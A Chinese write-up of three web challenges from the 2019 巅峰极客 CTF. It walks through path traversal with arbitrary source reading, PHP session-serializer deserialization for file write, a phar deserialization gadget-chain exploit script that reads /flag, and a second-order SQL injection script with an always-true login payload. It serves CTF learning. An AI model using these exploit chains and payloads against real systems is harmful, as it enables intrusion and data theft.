2019巅峰极客Online & Web题解:被玩坏的LOL

一叶飘零 Web安全 2019年10月23日发布
Favorite收藏

导语:周六看了一下巅峰极客的几道web题,难度不是很大,但是脑洞有一些,以下是题目记录。

前言

周六看了一下巅峰极客的几道web题,难度不是很大,但是脑洞有一些,以下是题目记录。

LOL

拿到题目后,发现有一个上传页面:

2019-10-19-10-50-10.png

点进去发现可控参数名较多,但最可疑的还是上传文件位置:

2019-10-19-10-50-21.png

尝试上传一个文件,发现有两个路径,一个是upload,一个是download:

2019-10-19-10-51-20.png

经过测试发现,文件名不是通过filename控制,而是通过phpsessionid控制:

2019-10-19-10-51-42.png

尝试目录穿越,发现upload路径突然变成了绝对路径= =,估计代码哪里出现了问题:

2019-10-19-10-52-05.png

同时访问文件,可以发现文件内容确实有写入:

2019-10-19-10-55-46.png

然后就陷入了沉思,直到题目提示,注意download功能,又经过大量测试发现download功能的下载路径,是拼接了phpsessionid的路径的,于是我们首先创立upload目录:

2019-10-20-09-09-58.png

然后进行任意源码读取:

2019-10-20-09-10-02.png

我们可以通过该方法leak出整个网站的源码。

审计源码,发现可疑类:Cache.class.php

<?php
class Cache{
    public $data;
    public $sj;
    public $path;
    public $html;
    function __construct($data){
        $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
        $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
        $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
        $this->path=Cache_DIR.DS.session_id().'.php';
    }
    function __destruct(){
        $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>   </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div>  <div class="content"><div class="inner">    <h1>Hero of you</h1></div>  </div>  <nav><ul>   <li><a href="#you">YOU</a></li></ul>    </nav></header><div id="main"><article id="you">    <h2 class="major" ng-app>%s</h2>    <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>   </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');
        if(file_put_contents($this->path,$this->html)){
            include($this->path);
        }
    }
}

发现该类有任意文件写的功能,那么思考如何触发反序列化,这里可以用到Jarvis OJ / 2018 LCTF早就考过的考点:

https://skysec.top/2017/08/16/jarvisoj-web/#PHPINFO
https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge

利用php session引擎的不同,进行反序列化,达成任意文件写入的目的:

2019-10-20-09-10-40.png

最终可以getflag。

upload

打开题目发现有3个功能:

文件下载
文件上传
查看文件

依次打开,发现查看文件存在任意文件读取:

/file.php?file=/var/www/html/index.php

通过如上方法拖出所有源码,审计代码,发现文件查看功能使用了类:

2019-10-19-14-03-56.png

那么容易想到phar反序列化,因为file_exists可以触发phar反序列化,于是迅速查找类的定义:

<?php
class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }
    public function file_get($value)
    {
        echo $this->file;
    }
}
class Sh0w
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = new Show('index.php');
        $this->str->source = $this->test;
    }
    public function __destruct()
    {
        $this->str->_show();
    }
}
?>

一般来说,反序列化的入口都可以从__destruct()发起,我们可以看到起调用了一个方法_show(),而这里如果str属性赋值为S6ow的对象,那么就会触发S6ow类的__call魔法方法,而当S6ow调用$name变量(_show)时,又会触发其__get方法,在__get方法中,由于之前访问的不可访问方法,会变为

return $this->params['_show'];

那么此时,只要给其赋值为file_get,即可利用echo触发show类的__toString魔法方法:

params['_show'] = 'file_get'

最终在show类的__toString魔法方法完成利用:

   public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }

赋值source为/flag即可,那么可以构造exp如下:

<?php
class Show
{
    public $source;
    public $str;
}
class S6ow
{
    public $file;
    public $params;
}
class Sh0w
{
    public $test;
    public $str;
}
$sky = new Show();
$sky->source = "/flag";
$sky1 = new S6ow();
$sky1->params['_show'] = 'file_get';
$sky1->file = $sky;
$sky2 = new Sh0w();
$sky2->str = $sky1;
$phar = new Phar('skyfuck.phar');
$phar->startBuffering();
$phar->addFromString('test.php', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($ss);
$phar->stopBuffering();
rename('skyfuck.phar', 'skyfuck.gif');

运行脚本后生成skyfuck.gif,上传后,利用file.php的文件读取,使用phar://去访问该文件,最终可以拿到flag:

2019-10-19-13-58-59.png

aweb_1

拿到题目,发现有注册和登录功能,同时提示只有admin才可以拿到flag,那么猜测是一道二次注入的题目,为了测试方便,写了一个脚本:

import requests
s = requests.session()
url_signup = 'http://47.104.173.173:7002/signup'
url_login = 'http://47.104.173.173:7002/login'
email = '[email protected]'
payload = "admin'or'dddd'='dddd#"
data = {
'email':email,
'name':payload,
'password':'1'
}
s = requests.post(url=url_signup,data=data)
if 'Email address already exists' in s.content:
print 'Email address already exists.'
elif 'Username already exists.' in s.content:
print 'Username already exists.'
else:
data = {
'email':email,
'password':'1'
}
s = requests.post(url_login,data)
print s.content

发现题目过滤了空格,那么我们构造"万能密码",也就是闭合admin为恒真条件,即可拿到flag:

2019-10-19-13-58-31.png

后记

总的来说,个人感觉第一道LOL的题目其实出的还行,就是刚开始leak源码的思路比较难想到,在这里卡了很久~

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www.4hou.com/web/21053.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论